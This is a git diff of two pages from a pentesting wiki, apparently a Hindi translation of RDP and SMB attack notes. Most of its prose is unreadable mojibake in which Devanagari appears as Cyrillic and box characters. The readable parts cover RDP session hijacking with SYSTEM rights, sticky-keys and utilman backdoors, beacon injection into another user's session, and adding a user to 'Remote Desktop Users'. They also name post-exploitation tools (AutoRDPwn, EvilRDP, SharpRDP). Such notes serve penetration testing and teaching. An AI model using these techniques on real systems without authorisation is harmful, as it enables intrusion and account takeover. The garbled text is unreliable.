рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ **RDP** рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рд╛рде рд╣реА, рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ **RDP** рд╕рд░реНрд╡рд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ рд╕реЗрдЯрдЕрдк рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ рдбреЗрд╕реНрдХрдЯреЙрдк рд╡рд╛рддрд╛рд╡рд░рдг рдХреЗ рдирд┐рдпрдВрддреНрд░рдг рдФрд░ рдкрд╣реБрдВрдЪ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ, рдореВрд▓ рд░реВрдк рд╕реЗ рдЗрд╕рдХреЗ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕реНрдерд╛рдиреАрдп рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд▓рд╛рддрд╛ рд╣реИред +Microsoft рджреНрд╡рд╛рд░рд╛ рд╡рд┐рдХрд╕рд┐рдд, **Remote Desktop Protocol** (**RDP**) рдПрдХ рдЧреНрд░рд╛рдлрд┐рдХрд▓ рдЗрдВрдЯрд░рдлреЗрд╕ рдХрдиреЗрдХреНрд╢рди рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрдВрдкреНрдпреВрдЯрд░реЛрдВ рдХреЗ рдмреАрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдРрд╕реЗ рдХрдиреЗрдХреНрд╢рди рдХреЛ рд╕реНрдерд╛рдкрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ **RDP** рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рд╕рд╛рде рд╣реА, рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдХреЛ **RDP** рд╕рд░реНрд╡рд░ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЪрд▓рд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛрддреА рд╣реИред рдпрд╣ рд╕реЗрдЯрдЕрдк рджреВрд░рд╕реНрде рдХрдВрдкреНрдпреВрдЯрд░ рдХреЗ рдбреЗрд╕реНрдХрдЯреЙрдк рд╡рд╛рддрд╛рд╡рд░рдг рдХрд╛ рдирд┐рд░реНрдмрд╛рдз рдирд┐рдпрдВрддреНрд░рдг рдФрд░ рдкрд╣реБрдВрдЪ рдкреНрд░рджрд╛рди рдХрд░рддрд╛ рд╣реИ, рдореВрд▓ рд░реВрдк рд╕реЗ рдЗрд╕рдХреЗ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреЛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдХреЗ рд╕реНрдерд╛рдиреАрдп рдбрд┐рд╡рд╛рдЗрд╕ рдкрд░ рд▓рд╛рддрд╛ рд╣реИред **Default port:** 3389 ``` @@ -50,7 +50,7 @@ rdp_check /:@ ### рд╕рддреНрд░ рдЪреЛрд░реА -**SYSTEM рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЗ рд╕рд╛рде, рдЖрдк рдХрд┐рд╕реА рднреА **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЦреЛрд▓реЗ рдЧрдП RDP рд╕рддреНрд░** рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рдорд╛рд▓рд┐рдХ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЬрд╛рдиреЗред +**SYSTEM рдЕрдиреБрдорддрд┐рдпреЛрдВ** рдХреЗ рд╕рд╛рде, рдЖрдк рдХрд┐рд╕реА рднреА **рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рджреНрд╡рд╛рд░рд╛ рдЦреЛрд▓реЗ рдЧрдП RDP рд╕рддреНрд░** рддрдХ рдкрд╣реБрдВрдЪ рд╕рдХрддреЗ рд╣реИрдВ рдмрд┐рдирд╛ рдорд╛рд▓рд┐рдХ рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдЬрд╛рдиреЗред **рдЦреБрд▓реЗ рд╕рддреНрд░ рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ:** ``` @@ -77,11 +77,11 @@ ts::remote /id:2 #Connect to the session рдЗрд╕ рддрдХрдиреАрдХ рдХреЛ **stickykeys** рдпрд╛ **utilman** рдХреЗ рд╕рд╛рде рдорд┐рд▓рд╛рдХрд░, рдЖрдк рдХрд┐рд╕реА рднреА рд╕рдордп рдПрдХ рдкреНрд░рд╢рд╛рд╕рдирд┐рдХ CMD рдФрд░ рдХрд┐рд╕реА рднреА RDP рд╕рддреНрд░ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВред -рдЖрдк рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЗрди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд╕рд╛рде рдмреИрдХрдбреЛрд░ рдХрд┐рдП рдЧрдП RDPs рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) +рдЖрдк рдЗрди рддрдХрдиреАрдХреЛрдВ рдореЗрдВ рд╕реЗ рдПрдХ рдХреЗ рд╕рд╛рде рдмреИрдХрдбреЛрд░ рдХрд┐рдП рдЧрдП RDPs рдХреЛ рдЦреЛрдЬ рд╕рдХрддреЗ рд╣реИрдВ: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ### RDP Process Injection -рдпрджрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рд╕реЗ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдпрд╛ **рдмреЗрд╣рддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреЗ рд╕рд╛рде RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрд╕ PC рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **рдЖрдк рдПрдХ Admin** рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕рдХреЗ **RDP рд╕рддреНрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдореЗрдВ рдЕрдкрдирд╛ рдмреАрдХрди **рдЗрдВрдЬреЗрдХреНрдЯ** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдпрджрд┐ рдХрд┐рд╕реА рдЕрдиреНрдп рдбреЛрдореЗрди рд╕реЗ рдХреЛрдИ рд╡реНрдпрдХреНрддрд┐ рдпрд╛ **рдмреЗрд╣рддрд░ рд╡рд┐рд╢реЗрд╖рд╛рдзрд┐рдХрд╛рд░** рдХреЗ рд╕рд╛рде RDP рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдЙрд╕ PC рдореЗрдВ рд▓реЙрдЧрд┐рди рдХрд░рддрд╛ рд╣реИ рдЬрд╣рд╛рдБ **рдЖрдк рдПрдХ Admin** рд╣реИрдВ, рддреЛ рдЖрдк рдЙрд╕рдХреЗ **RDP рд╕рддреНрд░ рдкреНрд░рдХреНрд░рд┐рдпрд╛** рдореЗрдВ рдЕрдкрдирд╛ рдмреАрдХрди **inject** рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЙрд╕рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: {{#ref}} ../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -95,7 +95,7 @@ net localgroup "Remote Desktop Users" UserLoginName /add - [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn) -**AutoRDPwn** рдПрдХ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ рдЬреЛ рдкреЙрд╡рд░рд╢реЗрд▓ рдореЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ Microsoft Windows рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ **Shadow** рд╣рдорд▓реЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ (рдЬрд┐рд╕реЗ Microsoft рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдПрдХ рджреВрд░рд╕реНрде рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдмрд┐рдирд╛ рдЙрд╕рдХреА рд╕рд╣рдорддрд┐ рдХреЗ рдЕрдкрдиреЗ рд╢рд┐рдХрд╛рд░ рдХреЗ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рджреЗрдЦрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЗрд╕реЗ рдорд╛рдВрдЧ рдкрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рднреА, рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдкрдиреЗ рдореВрд▓ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред +**AutoRDPwn** рдПрдХ рдкреЛрд╕реНрдЯ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯреЗрд╢рди рдлреНрд░реЗрдорд╡рд░реНрдХ рд╣реИ рдЬреЛ рдкреЙрд╡рд░рд╢реЗрд▓ рдореЗрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ Microsoft Windows рдХрдВрдкреНрдпреВрдЯрд░ рдкрд░ **Shadow** рд╣рдорд▓реЗ рдХреЛ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред рдпрд╣ рднреЗрджреНрдпрддрд╛ (рдЬрд┐рд╕реЗ Microsoft рджреНрд╡рд╛рд░рд╛ рдПрдХ рд╡рд┐рд╢реЗрд╖рддрд╛ рдХреЗ рд░реВрдк рдореЗрдВ рд╕реВрдЪреАрдмрджреНрдз рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ) рдПрдХ рджреВрд░рд╕реНрде рд╣рдорд▓рд╛рд╡рд░ рдХреЛ **рдмрд┐рдирд╛ рдЙрд╕рдХреА рд╕рд╣рдорддрд┐ рдХреЗ рдЙрд╕рдХреЗ рд╢рд┐рдХрд╛рд░ рдХреЗ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рджреЗрдЦрдиреЗ** рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ, рдФрд░ рдпрд╣рд╛рдВ рддрдХ рдХрд┐ рдЗрд╕реЗ рдорд╛рдВрдЧ рдкрд░ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░рдиреЗ рдХреА рднреА, рдСрдкрд░реЗрдЯрд┐рдВрдЧ рд╕рд┐рд╕реНрдЯрдо рдХреЗ рдЕрдкрдиреЗ рдореВрд▓ рдЙрдкрдХрд░рдгреЛрдВ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗред - [**EvilRDP**](https://github.com/skelsec/evilrdp) - рдХрдорд╛рдВрдб рд▓рд╛рдЗрди рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рддрд░реАрдХреЗ рд╕реЗ рдорд╛рдЙрд╕ рдФрд░ рдХреАрдмреЛрд░реНрдб рдХреЛ рдирд┐рдпрдВрддреНрд░рд┐рдд рдХрд░реЗрдВ @@ -104,6 +104,10 @@ net localgroup "Remote Desktop Users" UserLoginName /add - рд▓рдХреНрд╖рд┐рдд рдкрд░ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдХрд┐рдП рдмрд┐рдирд╛ рдордирдЪрд╛рд╣реЗ SHELL рдФрд░ PowerShell рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ - рд▓рдХреНрд╖рд┐рдд рдкрд░ рдлрд╝рд╛рдЗрд▓ рдЯреНрд░рд╛рдВрд╕рдлрд░ рдмрдВрдж рд╣реЛрдиреЗ рдкрд░ рднреА рд▓рдХреНрд╖рд┐рдд рд╕реЗ рдлрд╝рд╛рдЗрд▓реЗрдВ рдЕрдкрд▓реЛрдб рдФрд░ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░реЗрдВ +- [**SharpRDP**](https://github.com/0xthirteen/SharpRDP) + +рдпрд╣ рдЙрдкрдХрд░рдг рд╢рд┐рдХрд╛рд░ RDP рдореЗрдВ **рдЧреНрд░рд╛рдлрд┐рдХрд▓ рдЗрдВрдЯрд░рдлреЗрд╕ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЗ рдмрд┐рдирд╛** рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред + ## HackTricks Automatic Commands ``` Protocol_Name: RDP #Protocol Abbreviation if there is one. diff --git a/src/network-services-pentesting/pentesting-smb.md b/src/network-services-pentesting/pentesting-smb.md index 3fd9d3b5f..40990799b 100644 --- a/src/network-services-pentesting/pentesting-smb.md +++ b/src/network-services-pentesting/pentesting-smb.md @@ -4,13 +4,13 @@ ## **Port 139** -_**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо**_** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, рдкреАрд╕реА рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкрд╛рд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ 16 рд╡рд░реНрдгреЛрдВ рддрдХ рд▓рдВрдмреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) "рдХреЙрд▓" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреВрд╕рд░реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рдХреЛ **TCP рдкреЛрд░реНрдЯ 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред +_**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕рд┐рд╕реНрдЯрдо**_** (NetBIOS)** рдПрдХ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рд╣реИ рдЬрд┐рд╕реЗ рд╕реНрдерд╛рдиреАрдп рдХреНрд╖реЗрддреНрд░ рдиреЗрдЯрд╡рд░реНрдХ (LAN) рдХреЗ рднреАрддрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ, PCs рдФрд░ рдбреЗрд╕реНрдХрдЯреЙрдк рдХреЛ рдиреЗрдЯрд╡рд░реНрдХ рд╣рд╛рд░реНрдбрд╡реЗрдпрд░ рдХреЗ рд╕рд╛рде рдмрд╛рддрдЪреАрдд рдХрд░рдиреЗ рдФрд░ **рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдкрд╛рд░ рдбреЗрдЯрд╛ рдХреЗ рд╕рдВрдЪрд░рдг рдХреЛ рд╕реБрд╡рд┐рдзрд╛рдЬрдирдХ рдмрдирд╛рдиреЗ** рдХреЗ рд▓рд┐рдП рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИред NetBIOS рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдХрд╛рдо рдХрд░ рд░рд╣реЗ рд╕реЙрдлрд╝реНрдЯрд╡реЗрдпрд░ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреА рдкрд╣рдЪрд╛рди рдФрд░ рд╕реНрдерд╛рди рдЙрдирдХреЗ NetBIOS рдирд╛рдореЛрдВ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдкреНрд░рд╛рдкреНрдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ 16 рд╡рд░реНрдгреЛрдВ рддрдХ рд▓рдВрдмреЗ рд╣реЛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдЕрдХреНрд╕рд░ рдХрдВрдкреНрдпреВрдЯрд░ рдирд╛рдо рд╕реЗ рднрд┐рдиреНрди рд╣реЛрддреЗ рд╣реИрдВред рджреЛ рдЕрдиреБрдкреНрд░рдпреЛрдЧреЛрдВ рдХреЗ рдмреАрдЪ рдПрдХ NetBIOS рд╕рддреНрд░ рддрдм рд╢реБрд░реВ рд╣реЛрддрд╛ рд╣реИ рдЬрдм рдПрдХ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) "рдХреЙрд▓" рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рджреВрд╕рд░реЗ рдЕрдиреБрдкреНрд░рдпреЛрдЧ (рдЬреЛ рд╕рд░реНрд╡рд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ) рдХреЛ **TCP рдкреЛрд░реНрдЯ 139** рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдПрдХ рдХрдорд╛рдВрдб рдЬрд╛рд░реА рдХрд░рддрд╛ рд╣реИред ``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` ## Port 445 -рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, рдкреЛрд░реНрдЯ 139 рдХреЛ 'NBT over IP' рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреЛрд░реНрдЯ 445 рдХреЛ 'SMB over IP' рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ **SMB** рдХрд╛ рдЕрд░реНрде рд╣реИ '**Server Message Blocks**', рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рд╕реЗ **Common Internet File System (CIFS)** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдХрд╛ рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред +рддрдХрдиреАрдХреА рд░реВрдк рд╕реЗ, рдкреЛрд░реНрдЯ 139 рдХреЛ 'NBT over IP' рдХреЗ рд░реВрдк рдореЗрдВ рд╕рдВрджрд░реНрднрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рдкреЛрд░реНрдЯ 445 рдХреЛ 'SMB over IP' рдХреЗ рд░реВрдк рдореЗрдВ рдкрд╣рдЪрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рд╕рдВрдХреНрд╖реЗрдк рдореЗрдВ **SMB** рдХрд╛ рдЕрд░реНрде рд╣реИ '**Server Message Blocks**', рдЬрд┐рд╕реЗ рдЖрдзреБрдирд┐рдХ рд░реВрдк рд╕реЗ **Common Internet File System (CIFS)** рдХреЗ рд░реВрдк рдореЗрдВ рднреА рдЬрд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред рдПрдХ рдПрдкреНрд▓рд┐рдХреЗрд╢рди-рд▓реЗрдпрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЗ рд░реВрдк рдореЗрдВ, SMB/CIFS рдореБрдЦреНрдп рд░реВрдк рд╕реЗ рдлрд╝рд╛рдЗрд▓реЛрдВ, рдкреНрд░рд┐рдВрдЯрд░реЛрдВ, рд╕реАрд░рд┐рдпрд▓ рдкреЛрд░реНрдЯреНрд╕ рддрдХ рд╕рд╛рдЭрд╛ рдкрд╣реБрдВрдЪ рд╕рдХреНрд╖рдо рдХрд░рдиреЗ рдФрд░ рдиреЗрдЯрд╡рд░реНрдХ рдкрд░ рдиреЛрдбреНрд╕ рдХреЗ рдмреАрдЪ рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдХрд╛рд░ рдХреА рд╕рдВрдЪрд╛рд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, Windows рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ, рдпрд╣ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ SMB рд╕реАрдзреЗ TCP/IP рдкрд░ рдХрд╛рд░реНрдп рдХрд░ рд╕рдХрддрд╛ рд╣реИ, рдкреЛрд░реНрдЯ 445 рдХреЗ рдЙрдкрдпреЛрдЧ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ TCP/IP рдкрд░ NetBIOS рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рд╡рд┐рдкрд░реАрдд, рд╡рд┐рднрд┐рдиреНрди рдкреНрд░рдгрд╛рд▓рд┐рдпреЛрдВ рдкрд░, рдкреЛрд░реНрдЯ 139 рдХрд╛ рдЙрдкрдпреЛрдЧ рджреЗрдЦрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ SMB TCP/IP рдкрд░ NetBIOS рдХреЗ рд╕рд╛рде рдорд┐рд▓рдХрд░ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд░рд╣рд╛ рд╣реИред ``` @@ -18,13 +18,13 @@ _**рдиреЗрдЯрд╡рд░реНрдХ рдмреЗрд╕рд┐рдХ рдЗрдирдкреБрдЯ рдЖрдЙрдЯрдкреБрдЯ рд╕ ``` ### SMB -**рд╕рд░реНрд╡рд░ рд╕рдВрджреЗрд╢ рдмреНрд▓реЙрдХ (SMB)** рдкреНрд░реЛрдЯреЛрдХреЙрд▓, рдЬреЛ **рдХреНрд▓рд╛рдЗрдВрдЯ-рд╕рд░реНрд╡рд░** рдореЙрдбрд▓ рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, **рдлрд╛рдЗрд▓реЛрдВ**, рдирд┐рд░реНрджреЗрд╢рд┐рдХрд╛рдУрдВ рдФрд░ рдкреНрд░рд┐рдВрдЯрд░ рдФрд░ рд░рд╛рдЙрдЯрд░ рдЬреИрд╕реЗ рдЕрдиреНрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ **рдкрд╣реБрдБрдЪ** рдХреЛ 